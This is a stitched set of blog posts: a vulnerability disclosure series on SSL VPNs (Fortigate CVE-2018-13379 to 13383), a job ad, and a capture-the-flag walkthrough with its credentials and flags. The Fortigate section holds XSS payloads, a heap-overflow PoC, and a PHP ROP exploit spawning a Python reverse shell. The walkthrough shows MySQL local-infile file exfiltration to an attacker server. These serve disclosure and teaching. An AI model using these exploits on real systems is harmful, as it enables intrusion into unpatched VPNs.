我們也利用了這個弱點成功控制了 Uber 的 VPN 伺服器,詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/

附註

這將會是我們 SSL VPN 研究的系列文,預計會有三篇。這也是我們研究團隊今年在 Black Hat USADEFCON 的演講『 Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs 』中的一小部分,敬請期待!

[已結束] DEVCORE 徵求行政專員

22 July 2019 at 16:00

戴夫寇爾即將滿七年了,過去我們不斷地鑽研進階攻擊技巧,為許多客戶提供高品質的滲透測試服務,也成為客戶最信賴的資安伙伴之一。在 2017 年我們更成為第一個在台灣推出紅隊演練服務的本土廠商,透過無所不用其極的駭客思維,陸續為電子商務、政府部門、金融業者執行最真實且全面的攻擊演練,同時也累積了豐富的經驗與案例,成為台灣紅隊演練實力最深厚的服務供應商。

在 2015 年我們曾經公開徵求一位行政出納人才,後來經過層層的履歷審核、筆試、面試,終於順利找到一位經驗豐富且值得信賴的生活駭客,成為我們最強而有力的後勤伙伴。但是隨著團隊人數增長、業務規模大幅增加、事務分工專業化,行政部門的眾多工作已經無法由單一人力獨自負荷。

因此今年我們再度公開招募行政人才,希望能夠找到一位行政專員,擴大我們的後勤能量,鞏固戴夫寇爾的團隊作戰能力,讓我們持續為企業提供最優異的資安服務。

我們非常渴望您的加入,若您有意成為戴夫寇爾的一員,可參考下列職缺細節:

工作內容

  • 庶務性行政工作 50%
    • 人員接待,例如:電話接聽、來訪人員接待
    • 文件收發,例如:郵務作業、快遞服務
    • 檔案管理,例如:名片掃描、合約掃描、範本檔案格式調整
    • 資料蒐集,例如:各類公司業務需求資料查找
  • 總務工作 20%
    • 辦公室各類用品採買
    • 辦公室環境維護
  • 採購工作 15%
    • 設備採購管理
    • 服務供應商管理
  • 人事工作 5%
    • 保險事務,例如:團體保險、旅遊不便險
    • 差旅行程,例如:交通票券訂購、簽證辦理
    • 教育訓練安排
  • 其他主管交辦事項 10%

工作時間

10:00 - 18:00

工作地點

台北市中山區復興北路 168 號 10 樓 (捷運南京復興站 8 號出口,走路約 3 分鐘)

人格特質偏好

  • 細心嚴謹,能耐心的處理繁瑣的庶務工作。
  • 主動積極,看到我們沒發現的細節,超越我們所期望的基準。
  • 懂得溝通傾聽,能同理他人,找出彼此共識。
  • 擅長邏輯思考,懂得透過淺顯易懂且條理清晰的方式傳達自己的想法。
  • 良好的時間管理能力,依據任務的優先順序,有效率的完成每項交辦。
  • 勇於接受挑戰且具備解決問題的能力,努力克服未知的難題。

工作條件要求

  • 需有三年以上行政相關工作經驗
  • 熟悉 Google Sheets 操作,且具獨立撰寫試算表公式的能力
  • 習慣使用雲端服務,如:Google Drive, Dropbox 或其他

加分條件

  • 您使用過專案管理系統,如:Trello, Basecamp, Redmine 或其他
    您將會使用專案管理系統管理平日任務。
  • 您是 MAC 使用者
    您未來的電腦會是 MAC,我們希望您越快順暢使用電腦越好。
  • 您是生活駭客
    您不需要會寫程式,但您習慣觀察生活中的規律,並想辦法利用這些規律有效率的解決問題。

工作環境

  • 您會在一個開闊的辦公環境工作 DEVCORE ENV
  • 您會擁有一張 Aeron 人體工學椅 DEVCORE AERON
  • 每週補滿飲料(另有咖啡機)、零食,讓您保持心情愉快 DEVCORE DRINK
  • 公司提供飛鏢機讓您發洩對主管的怨氣 DEVCORE DART

公司福利

我們注重公司每位同仁的身心健康,請參考以下福利制度:

  • 休假福利
    • 到職即可預支當年度特休
    • 每年五天全薪病假
  • 獎金福利
    • 三節禮金(春節、端午節、中秋節)
    • 生日禮金
    • 婚喪補助
  • 休閒福利
    • 員工旅遊
    • 舒壓按摩
    • Team Building
  • 美食福利
    • 零食飲料
    • 員工聚餐
  • 健康福利
    • 員工健康檢查
    • 運動中心健身券
  • 進修福利
    • 內部教育訓練
    • 外部進修課程
  • 其他
    • 專業的公司團隊
    • 扁平的內部組織
    • 順暢的溝通氛圍

起薪範圍

新台幣 34,000 - 40,000 (保證年薪 14 個月)

應徵方式

  • 請將您的履歷以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
  • 標題格式:[應徵] 行政專員 您的姓名(範例:[應徵] 行政專員 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 工作經歷
    • 社群活動經歷
    • 特殊事蹟
    • MBTI 職業性格測試結果(測試網頁

附註

我們會在兩週內主動與您聯繫,招募過程依序為書面審核、線上測驗以及面試三個階段。最快將於八月中進行第二階段的線上測驗,煩請耐心等候。 由於最近業務較為忙碌,若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。

我們選擇優先在部落格公布徵才資訊,是希望您也對資訊安全議題感興趣,即使不懂技術也想為台灣資安盡一點力。無論如何,我們都感謝您的來信,期待您的加入!

Fortigate SSL VPN 資安通報

8 August 2019 at 16:00

內容

上一篇 SSL VPN 研究系列文我們通報了在 Palo Alto GlobalProtect 上的 RCE 弱點,這一篇將公開我們在 Fortigate SSL VPN 上的研究,共計找到下列五個弱點:

  • CVE-2018-13379: Pre-auth arbitrary file reading
  • CVE-2018-13380: Pre-auth XSS
  • CVE-2018-13381: Pre-auth heap overflow
  • CVE-2018-13382: The magic backdoor
  • CVE-2018-13383: Post-auth heap overflow

透過不需認證的任意讀檔問題(CVE-2018-13379)加上管理介面上的 heap overflow(CVE-2018-13383),惡意使用者可直接取得 SSL VPN 的最高權限。

此外,我們也發現了一個官方後門(CVE-2018-13382),可以任意修改使用者密碼。

在回報 Fortigate 後,官方已陸續修復這些弱點,建議 Fortigate SSL VPN 的用戶更新至最新版。

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

附註

這系列 VPN 研究也得到了今年 BlackHat 2019 Pwnie Awards 的 pwnie for best server-side bug(年度最佳伺服器漏洞)。

Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN

8 August 2019 at 16:00

Author: Meh Chang(@mehqq_) and Orange Tsai(@orange_8361)

Last month, we talked about Palo Alto Networks GlobalProtect RCE as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you!

We will also give a speech at the following conferences, just come and find us!

  • HITCON - Aug. 23 @ Taipei (Chinese)
  • HITB GSEC - Aug. 29,30 @ Singapore
  • RomHack - Sep. 28 @ Rome
  • and more …

Let’s start!

The story began in last August, when we started a new research project on SSL VPN. Compare to the site-to-site VPN such as the IPSEC and PPTP, SSL VPN is more easy to use and compatible with any network environments. For its convenience, SSL VPN becomes the most popular remote access way for enterprise!

However, what if this trusted equipment is insecure? It is an important corporate asset but a blind spot of corporation. According to our survey on Fortune 500, the Top-3 SSL VPN vendors dominate about 75% market share. The diversity of SSL VPN is narrow. Therefore, once we find a critical vulnerability on the leading SSL VPN, the impact is huge. There is no way to stop us because SSL VPN must be exposed to the internet.

At the beginning of our research, we made a little survey on the CVE amount of leading SSL VPN vendors:

It seems like Fortinet and Pulse Secure are the most secure ones. Is that true? As a myth buster, we took on this challenge and started hacking Fortinet and Pulse Secure! This story is about hacking Fortigate SSL VPN. The next article is going to be about Pulse Secure, which is the most splendid one! Stay tuned!

Fortigate SSL VPN

Fortinet calls their SSL VPN product line as Fortigate SSL VPN, which is prevalent among end users and medium-sized enterprise. There are more than 480k servers operating on the internet and is common in Asia and Europe. We can identify it from the URL /remote/login. Here is the technical feature of Fortigate:

  • All-in-one binary We started our research from the file system. We tried to list the binaries in /bin/ and found there are all symbolic links, pointing to /bin/init. Just like this:

    Fortigate compiles all the programs and configurations into a single binary, which makes the init really huge. It contains thousands of functions and there is no symbol! It only contains necessary programs for the SSL VPN, so the environment is really inconvenient for hackers. For example, there is even no /bin/ls or /bin/cat!

  • Web daemon There are 2 web interfaces running on the Fortigate. One is for the admin interface, handled with /bin/httpsd on the port 443. The other is normal user interface, handled with /bin/sslvpnd on the port 4433 by default. Generally, the admin page should be restricted from the internet, so we can only access the user interface.

    Through our investigation, we found the web server is modified from apache, but it is the apache from 2002. Apparently they modified apache in 2002 and added their own additional functionality. We can map the source code of apache to speed up our analysis.

    In both web service, they also compiled their own apache modules into the binary to handle each URL path. We can find a table specifying the handlers and dig into them!

  • WebVPN WebVPN is a convenient proxy feature which allows us connect to all the services simply through a browser. It supports many protocols, like HTTP, FTP, RDP. It can also handle various web resources, such as WebSocket and Flash. To process a website correctly, it parses the HTML and rewrites all the URLs for us. This involves heavy string operation, which is prone to memory bugs.

Vulnerabilities

We found several vulnerabilities:

CVE-2018-13379: Pre-auth arbitrary file reading

While fetching corresponding language file, it builds the json file path with the parameter lang:

snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

There is no protection, but a file extension appended automatically. It seems like we can only read json file. However, actually we can abuse the feature of snprintf. According to the man page, it writes at most size-1 into the output string. Therefore, we only need to make it exceed the buffer size and the .json will be stripped. Then we can read whatever we want.

CVE-2018-13380: Pre-auth XSS

There are several XSS:

/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
/message?title=x&msg=%26%23<svg/onload=alert(1)>;

CVE-2018-13381: Pre-auth heap overflow

While encoding HTML entities code, there are 2 stages. The server first calculate the required buffer length for encoded string. Then it encode into the buffer. In the calculation stage, for example, encode string for < is &#60; and this should occupies 5 bytes. If it encounter anything starts with &#, such as &#60;, it consider there is a token already encoded, and count its length directly. Like this:

c = token[idx];
if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
    cnt += 5;
else if(c == '&' && html[idx+1] == '#')
    cnt += len(strchr(html[idx], ';')-idx);

However, there is an inconsistency between length calculation and encoding process. The encode part does not handle that much.

switch (c)
{
    case '<':
        memcpy(buf[counter], "&#60;", 5);
        counter += 4;
        break;
    case '>':
    // ...
    default:
        buf[counter] = c;
        break;
    counter++;
}

If we input a malicious string like &#<<<;, the < is still encoded into &#60;, so the result should be &#&#60;&#60;&#60;;! This is much longer than the expected length 6 bytes, so it leads to a heap overflow.

PoC:

import requests

data = {
    'title': 'x', 
    'msg': '&#' + '<'*(0x20000) + ';<', 
}
r = requests.post('https://sslvpn:4433/message', data=data)

CVE-2018-13382: The magic backdoor

In the login page, we found a special parameter called magic. Once the parameter meets a hardcoded string, we can modify any user’s password.

According to our survey, there are still plenty of Fortigate SSL VPN lack of patch. Therefore, considering its severity, we will not disclose the magic string. However, this vulnerability has been reproduced by the researcher from CodeWhite. It is surely that other attackers will exploit this vulnerability soon! Please update your Fortigate ASAP!

Critical vulns in #FortiOS reversed & exploited by our colleagues @niph_ and @ramoliks - patch your #FortiOS asap and see the #bh2019 talk of @orange_8361 and @mehqq_ for details (tnx guys for the teaser that got us started) pic.twitter.com/TLLEbXKnJ4

— Code White GmbH (@codewhitesec) 2019年7月2日

CVE-2018-13383: Post-auth heap overflow

This is a vulnerability on the WebVPN feature. While parsing JavaScript in the HTML, it tries to copy content into a buffer with the following code:

memcpy(buffer, js_buf, js_buf_len);

The buffer size is fixed to 0x2000, but the input string is unlimited. Therefore, here is a heap overflow. It is worth to note that this vulnerability can overflow Null byte, which is useful in our exploitation. To trigger this overflow, we need to put our exploit on an HTTP server, and then ask the SSL VPN to proxy our exploit as a normal user.

Exploitation

The official advisory described no RCE risk at first. Actually, it was a misunderstanding. We will show you how to exploit from the user login interface without authentication.

CVE-2018-13381

Our first attempt is exploiting the pre-auth heap overflow. However, there is a fundamental defect of this vulnerability – It does not overflow Null bytes. In general, this is not a serious problem. The heap exploitation techniques nowadays should overcome this. However, we found it a disaster doing heap feng shui on Fortigate. There are several obstacles, making the heap unstable and hard to be controlled.

  • Single thread, single process, single allocator The web daemon handles multiple connection with epoll(), no multi-process or multi-thread, and the main process and libraries use the same heap, called JeMalloc. It means, all the memory allocations from all the operations of all the connections are on the same heap. Therefore, the heap is really messy.
  • Operations regularly triggered This interferes the heap but is uncontrollable. We cannot arrange the heap carefully because it would be destroyed.
  • Apache additional memory management. The memory won’t be free() until the connection ends. We cannot arrange the heap in a single connection. Actually this can be an effective mitigation for heap vulnerabilities especially for use-after-free.
  • JeMalloc JeMalloc isolates meta data and user data, so it is hard to modify meta data and play with the heap management. Moreover, it centralizes small objects, which also limits our exploit.

We were stuck here, and then we chose to try another way. If anyone exploits this successfully, please teach us!

CVE-2018-13379 + CVE-2018-13383

This is a combination of pre-auth file reading and post-auth heap overflow. One for gaining authentication and one for getting a shell.

  • Gain authentication We first use CVE-2018-13379 to leak the session file. The session file contains valuable information, such as username and plaintext password, which let us login easily.

  • Get the shell After login, we can ask the SSL VPN to proxy the exploit on our malicious HTTP server, and then trigger the heap overflow.

    Due to the problems mentioned above, we need a nice target to overflow. We cannot control the heap carefully, but maybe we can find something regularly appears! It would be great if it is everywhere, and every time we trigger the bug, we can overflow it easily! However, it is a hard work to find such a target from this huge program, so we were stuck at that time … and we started to fuzz the server, trying to get something useful.

    We got an interesting crash. To our great surprise, we almost control the program counter!

    Here is the crash, and that’s why we love fuzzing! ;)

      Program received signal SIGSEGV, Segmentation fault.
      0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
      2: /x $rax = 0x41414141
      1: x/i $pc
      => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
      (gdb)
    

    The crash happened in SSL_do_handshake()

      int SSL_do_handshake(SSL *s)
      {
          // ...
    
          s->method->ssl_renegotiate_check(s, 0);
    
          if (SSL_in_init(s) || SSL_in_before(s)) {
              if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
                  struct ssl_async_args args;
    
                  args.s = s;
    
                  ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
              } else {
                  ret = s->handshake_func(s);
              }
          }
          return ret;
      }
    

    We overwrote the function table inside struct SSL called method, so when the program trying to execute s->method->ssl_renegotiate_check(s, 0);, it crashed.

    This is actually an ideal target of our exploit! The allocation of struct SSL can be triggered easily, and the size is just close to our JaveScript buffer, so it can be nearby our buffer with a regular offset! According to the code, we can see that ret = s->handshake_func(s); calls a function pointer, which a perfect choice to control the program flow. With this finding, our exploit strategy is clear.

    We first spray the heap with SSL structure with lots of normal requests, and then overflow the SSL structure.

    Here we put our php PoC on an HTTP server:

      <?php
          function p64($address) {
              $low = $address & 0xffffffff;
              $high = $address >> 32 & 0xffffffff;
              return pack("II", $low, $high);
          }
          $junk = 0x4141414141414141;
          $nop_func = 0x32FC078;
    
          $gadget  = p64($junk);
          $gadget .= p64($nop_func - 0x60);
          $gadget .= p64($junk);
          $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
          $gadget .= p64($junk);
          $gadget .= p64($junk);
          $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
          $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
          $gadget .= p64(0x58);
          $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
          $gadget .= p64(0x1366639); // call system ;
          $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
    
          $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
          $p .= $gadget;
          $p .= str_repeat('A', 0x1000 - strlen($gadget));
          $p .= $gadget;
      ?>
      <a href="javascript:void(0);<?=$p;?>">xxx</a>
    

    The PoC can be divided into three parts.

    1. Fake SSL structure The SSL structure has a regular offset to our buffer, so we can forge it precisely. In order to avoid the crash, we set the method to a place containing a void function pointer. The parameter at this time is SSL structure itself s. However, there is only 8 bytes ahead of method. We cannot simply call system("/bin/sh"); on the HTTP server, so this is not enough for our reverse shell command. Thanks to the huge binary, it is easy to find ROP gadgets. We found one useful for stack pivot:

       push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
      

      So we set the handshake_func to this gadget, move the rsp to our SSL structure, and do further ROP attack.

    2. ROP chain The ROP chain here is simple. We slightly move the rdi forward so there is enough space for our reverse shell command.
    3. Overflow string Finally, we concatenates the overflow padding and exploit. Once we overflow an SSL structure, we get a shell.

    Our exploit requires multiple attempts because we may overflow something important and make the program crash prior to the SSL_do_handshake. Anyway, the exploit is still stable thanks to the reliable watchdog of Fortigate. It only takes 1~2 minutes to get a reverse shell back.

Demo

Timeline

  • 11 December, 2018 Reported to Fortinet
  • 19 March, 2019 All fix scheduled
  • 24 May, 2019 All advisory released

Fix

Upgrade to FortiOS 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above.

ReadMe Walkthrough

18 August 2019 at 00:00

Overview

ReadMe is aiming to teach users about two things. One, a feature of MySQL that I have found to not be widely known about - which is that the client can be forced to send local files to the server. Two, some basic x86 assembly and analysis with gdb.

Network Configuration

ReadMe is currently using DHCP on the ens33 interface. This can be configured using netplan.

The open ports are 22 (SSH), 3360 (a fake MySQL server), and 80 (Apache).

User Credentials

tatham:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE julian:I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh

Both these users can login via SSH (required as part of the challenge). Julian is not part of the sudo group but tatham is.

Flags

  • User: 2e640cbe2ea53070a0dbd3e5104e7c98
  • Root: 52eeb6cfa53008c6b87a6c79f4347275

Path To User Flag

Initially, the user will be able to see three open ports:

  • 22
  • 80
  • 3306

The service listening on port 3306 is a Python script that accepts connections and mimics a MySQL server with remote authentication disabled. This is part rabbit-hole and part resource saver, given there is no need to have MySQL running.

On port 80, a web server can be found which needs to be brute forced to find some key files:

  • /info.php: shows phpinfo() output, which will show that the mysqli.allow_local_infile setting is enabled
  • /reminder.php: contains an important hint for the root flag (that the code in tatham’s directory is using an encoder) and will also reveal the path of a directory containing an important file
  • /adminer.php: a copy of adminer 4.4

Upon visiting reminder.php, the user will see a message directed towards julian followed by an image which is being served from a directory with no index that also contains a file named creds.txt. This file will reveal the path to where julian’s login credentials can be found on the local file system (/etc/julian.txt).

With this information, the user can point adminer towards their own MySQL server in order to exfiltrate the contents of /etc/julian.txt. To do this, a MySQL server must be installed (apt install mysql-server) and a user created that has all privileges on a database (this can be any database, for example’s sake, I’ll be using the mysql database).

When creating the user, the authentication type must be set to mysql_native_password due to the mysqli driver not supporting the latest default authentication method. If it is not, adminer will indicate to the user that it cannot authenticate and output a MySQL error.

To setup a user this way, the following command should be executed in the MySQL CLI:

CREATE USER 'jeff'@'%' IDENTIFIED WITH mysql_native_password BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'jeff'@'%';

Now that a new user is setup (in this case, jeff), the local_infile variable on the user’s MySQL server needs to be enabled. To do this, execute:

SET GLOBAL local_infile = true;

The setting can then be confirmed by running:

SHOW GLOBAL VARIABLES LIKE 'local_infile';

If the setting was successfully enabled, the following output will be displayed:

+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| local_infile  | ON    |
+---------------+-------+

Now that the attacker’s MySQL server is setup, navigating to /adminer.php and filling in the connection details will force adminer to connect back to the attacker, where they will then be viewing their own database server in the web app.

From here, files local to ReadMe can be exfiltrated to the attacker using the local infile syntax. First, the user must create a new table to save the data into. For this example, I have created a table named exploit with a single text column.

After creating the table, going to the SQL command page and executing the following query will populate the exploit table with the contents of /etc/julian.txt:

load data local infile '/etc/julian.txt' into table mysql.exploit fields terminated by "\n"

After executing this query, clicking “select” to the left of the exploit table will reveal a row for each line in the file, which reveals the password for the julian account:

With the password recovered, the user can then login via SSH as julian using the password and get the user flag from /home/julian/user.txt

Path to Root Flag

After authenticating as julian, the user will be able to see the contents of tatham’s home directory. Within this directory are two files:

  • payload.bin: a file containing shellcode, which contains tatham’s password
  • poc.c: a file that the shellcode can be placed in to run it

There are two methods that can be used to decode the payload and recover the password.

Method 1: Debugging

First, place the contents of payload.bin into the placeholder of poc.c and compile with protections disabled:

gcc -m32 -fno-stack-protector -z execstack poc.c -o poc

Next, load poc into gdb (gdb ./poc) and disassemble the main function to find the point which the shellcode is called by running disas main:

After confirming the offset, place a breakpoint (b *main+164) and then run the executable. Once the breakpoint is hit, stepping into the call eax instruction will then leave the user at the point of the xorfuscator decoder stub being executed:

Once here, viewing the next 15 instructions that are to be executed (x/15i $pc) will reveal the address that the decoded payload can be found at after the stub has finished (in this case, 0xffffc595, this value will change every time due to ASLR):

A breakpoint should be placed here (b *0xffffc595) and once it is hit, after continuing execution, should be stepped into. Now EIP will be pointing at the original shellcode that has been decoded in place.

By viewing the next 70 instructions (x/70i $pc), the user will be able to dump out the original un-encoded instructions (the screenshot below was taken after stepping one instruction further in, in the original shellcode, there is a mov ebp, esp instruction before the first xor):

Continuing to execute from this point will result in the password not being revealed, as the original payload contains two key mistakes that need to be fixed if the user wishes to reveal it via execution.

Examining the recovered code will show 64 bytes being repeatedly loaded into the eax register, even though the rest of the code is trying to work with a value on the stack. This should make it clear that the lea eax instructions should actually be push instructions.

In addition to this, the decoder loop is exiting after the first iteration as a jz instruction is being used as opposed to a jnz.

A copy of the working and broken payloads can be found at the end of this post.

After reconstructing the NASM file to represent something functionally equivalent to the original code (see sample at end of this post), it can be compiled by running (assuming the code is in a file named fixed.nasm):

nasm -f elf32 fixed.nasm && ld -m elf_i386 fixed.o

The previous command will now have built a file named a.out which is the fixed executable, running this in gdb will make execution pause when it reaches the interrupts at the end of the file, and the base64 encoded password will be visible on the stack:

Decoding this value will reveal the password for the tatham account, which if the user logs into will be able to run any command as root using sudo, and will be able to then obtain the root flag.

Method 2: Manually Decoding

The alternative to recovering the decoded payload using gdb is to do it manually. Due to the relatively small size of the payload, this is doable and may make the process slightly easier if the encoding method can be identified.

The encoder used as well as a script that contains the decoder stub is publicly documented here: https://rastating.github.io/creating-a-custom-shellcode-encoder/

By first removing the decoder stub from the contents of payload.bin, the user will be left with only the encoded payload. The user can then work through the remaining values and XOR each pair with the byte that precedes it as per the illustration on the aforementioned page:

After recovering the original hexadecimal bytes, the ASM code can be recovered using ndisasm, as per below:

$ echo -ne "\x89\xe5\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x8d\x05\x12\x13\x7f\x7f\x8d\x05\x22\x2f\x7b\x15\x8d\x05\x12\x73\x24\x13\x8d\x05\x23\x04\x7b\x08\x8d\x05\x22\x70\x28\x73\x8d\x05\x12\x09\x28\x30\x8d\x05\x20\x2f\x16\x3b\x8d\x05\x19\x19\x0e\x36\x8d\x05\x13\x09\x7b\x15\x8d\x05\x60\x09\x7b\x75\x8d\x05\x10\x75\x16\x70\x8d\x05\x25\x2f\x16\x2d\x8d\x05\x23\x19\x24\x73\x8d\x05\x27\x75\x16\x09\x8d\x05\x0c\x2b\x77\x1a\x8d\x05\x17\x72\x78\x37\x8d\x4d\x00\x29\xe1\x8d\x15\x14\x00\x00\x00\x39\xd1\x74\x4a\x8d\x15\x18\x00\x00\x00\x39\xd1\x74\x48\x8d\x15\x1c\x00\x00\x00\x39\xd1\x74\x3e\x8d\x15\x20\x00\x00\x00\x39\xd1\x74\x3c\x8d\x15\x24\x00\x00\x00\x39\xd1\x74\x3a\x8d\x15\x28\x00\x00\x00\x39\xd1\x74\x38\x8d\x15\x2c\x00\x00\x00\x39\xd1\x74\x16\x8d\x15\x38\x00\x00\x00\x39\xd1\x74\x1c\xeb\x2a\xeb\xac\x8d\x1d\x46\x41\x41\x41\xeb\x28\x8d\x1d\x45\x41\x41\x41\xeb\x20\x8d\x1d\x42\x41\x41\x41\xeb\x18\x8d\x1d\x44\x41\x41\x41\xeb\x10\x8d\x1d\x34\x41\x41\x41\xeb\x08\x8d\x1d\x41\x41\x41\x41\xeb\x00\x8d\x45\x00\x29\xc8\x31\x18\x81\x28\x01\x01\x01\x01\x83\xe9\x04\x31\xc0\x39\xc1\x74\xb8\xcc\xcc\xcc\xcc" | ndisasm -b 32 -p intel -
00000000  89E5              mov ebp,esp
00000002  31C0              xor eax,eax
00000004  31DB              xor ebx,ebx
00000006  31C9              xor ecx,ecx
00000008  31D2              xor edx,edx
0000000A  8D0512137F7F      lea eax,[dword 0x7f7f1312]
00000010  8D05222F7B15      lea eax,[dword 0x157b2f22]
00000016  8D0512732413      lea eax,[dword 0x13247312]
0000001C  8D0523047B08      lea eax,[dword 0x87b0423]
00000022  8D0522702873      lea eax,[dword 0x73287022]
00000028  8D0512092830      lea eax,[dword 0x30280912]
0000002E  8D05202F163B      lea eax,[dword 0x3b162f20]
00000034  8D0519190E36      lea eax,[dword 0x360e1919]
0000003A  8D0513097B15      lea eax,[dword 0x157b0913]
00000040  8D0560097B75      lea eax,[dword 0x757b0960]
00000046  8D0510751670      lea eax,[dword 0x70167510]
0000004C  8D05252F162D      lea eax,[dword 0x2d162f25]
00000052  8D0523192473      lea eax,[dword 0x73241923]
00000058  8D0527751609      lea eax,[dword 0x9167527]
0000005E  8D050C2B771A      lea eax,[dword 0x1a772b0c]
00000064  8D0517727837      lea eax,[dword 0x37787217]
0000006A  8D4D00            lea ecx,[ebp+0x0]
0000006D  29E1              sub ecx,esp
0000006F  8D1514000000      lea edx,[dword 0x14]
00000075  39D1              cmp ecx,edx
00000077  744A              jz 0xc3
00000079  8D1518000000      lea edx,[dword 0x18]
0000007F  39D1              cmp ecx,edx
00000081  7448              jz 0xcb
00000083  8D151C000000      lea edx,[dword 0x1c]
00000089  39D1              cmp ecx,edx
0000008B  743E              jz 0xcb
0000008D  8D1520000000      lea edx,[dword 0x20]
00000093  39D1              cmp ecx,edx
00000095  743C              jz 0xd3
00000097  8D1524000000      lea edx,[dword 0x24]
0000009D  39D1              cmp ecx,edx
0000009F  743A              jz 0xdb
000000A1  8D1528000000      lea edx,[dword 0x28]
000000A7  39D1              cmp ecx,edx
000000A9  7438              jz 0xe3
000000AB  8D152C000000      lea edx,[dword 0x2c]
000000B1  39D1              cmp ecx,edx
000000B3  7416              jz 0xcb
000000B5  8D1538000000      lea edx,[dword 0x38]
000000BB  39D1              cmp ecx,edx
000000BD  741C              jz 0xdb
000000BF  EB2A              jmp short 0xeb
000000C1  EBAC              jmp short 0x6f
000000C3  8D1D46414141      lea ebx,[dword 0x41414146]
000000C9  EB28              jmp short 0xf3
000000CB  8D1D45414141      lea ebx,[dword 0x41414145]
000000D1  EB20              jmp short 0xf3
000000D3  8D1D42414141      lea ebx,[dword 0x41414142]
000000D9  EB18              jmp short 0xf3
000000DB  8D1D44414141      lea ebx,[dword 0x41414144]
000000E1  EB10              jmp short 0xf3
000000E3  8D1D34414141      lea ebx,[dword 0x41414134]
000000E9  EB08              jmp short 0xf3
000000EB  8D1D41414141      lea ebx,[dword 0x41414141]
000000F1  EB00              jmp short 0xf3
000000F3  8D4500            lea eax,[ebp+0x0]
000000F6  29C8              sub eax,ecx
000000F8  3118              xor [eax],ebx
000000FA  812801010101      sub dword [eax],0x1010101
00000100  83E904            sub ecx,byte +0x4
00000103  31C0              xor eax,eax
00000105  39C1              cmp ecx,eax
00000107  74B8              jz 0xc1
00000109  CC                int3
0000010A  CC                int3
0000010B  CC                int3
0000010C  CC                int3

After recovering the original payload, the user can either fix it as per the explanation in method 1, or they can try to analyse what is happening in the loop which is XORing the 64 encoded bytes on the stack against the below key and shifting the ASCII values negatively one position:

AAAAAAAADAAAAAAAAAAAEAAA4AAADAAABAAAEAAAEAAAFAAAAAAAAAAAAAAAAAAA

An illustration of the decoding process can be viewed on CyberChef here: https://gchq.github.io/CyberChef/#recipe=From_Hex(‘Space’)XOR(%7B’option’:’UTF8’,’string’:’AAAAAAAADAAAAAAAAAAAEAAA4AAADAAABAAAEAAAEAAAFAAAAAAAAAAAAAAAAAAA’%7D,’Standard’,false)ROT47(-1)From_Base64(‘A-Za-z0-9%2B/%3D’,true)&input=MTcgNzIgNzggMzcgMGMgMmIgNzcgMWEgMjcgNzUgMTYgMDkgMjMgMTkgMjQgNzMgMjUgMmYgMTYgMmQgMTAgNzUgMTYgNzAgNjAgMDkgN2IgNzUgMTMgMDkgN2IgMTUgMTkgMTkgMGUgMzYgMjAgMmYgMTYgM2IgMTIgMDkgMjggMzAgMjIgNzAgMjggNzMgMjMgMDQgN2IgMDggMTIgNzMgMjQgMTMgMjIgMmYgN2IgMTUgMTIgMTMgN2YgN2Y

At this point, they can use the recovered password to login as tatham and retrieve the root flag using sudo as per method 1.

Fixed Payload

global _start

section .text
  _start:
    ; set the frame pointer
    mov   ebp, esp

    ; clear required registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    ; push encoded password onto stack
    push  0x7f7f1312
    push  0x157b2f22
    push  0x13247312
    push  0x087b0423
    push  0x73287022
    push  0x30280912
    push  0x3b162f20
    push  0x360e1919
    push  0x157b0913
    push  0x757b0960
    push  0x70167510
    push  0x2d162f25
    push  0x73241923
    push  0x09167527
    push  0x1a772b0c
    push  0x37787217

    ; calculate size of password and store in $ecx
    lea   ecx, [ebp]
    sub   ecx, esp

    ; begin xor on the encoded password
    decode_loop:
      ; if at dword 12, xor with F
      lea   edx, [0x14]
      cmp   ecx, edx
      jz    xor_f

      ; if at dword 11, xor with E
      lea   edx, [0x18]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 10, xor with E
      lea   edx, [0x1c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 9, xor with B
      lea   edx, [0x20]
      cmp   ecx, edx
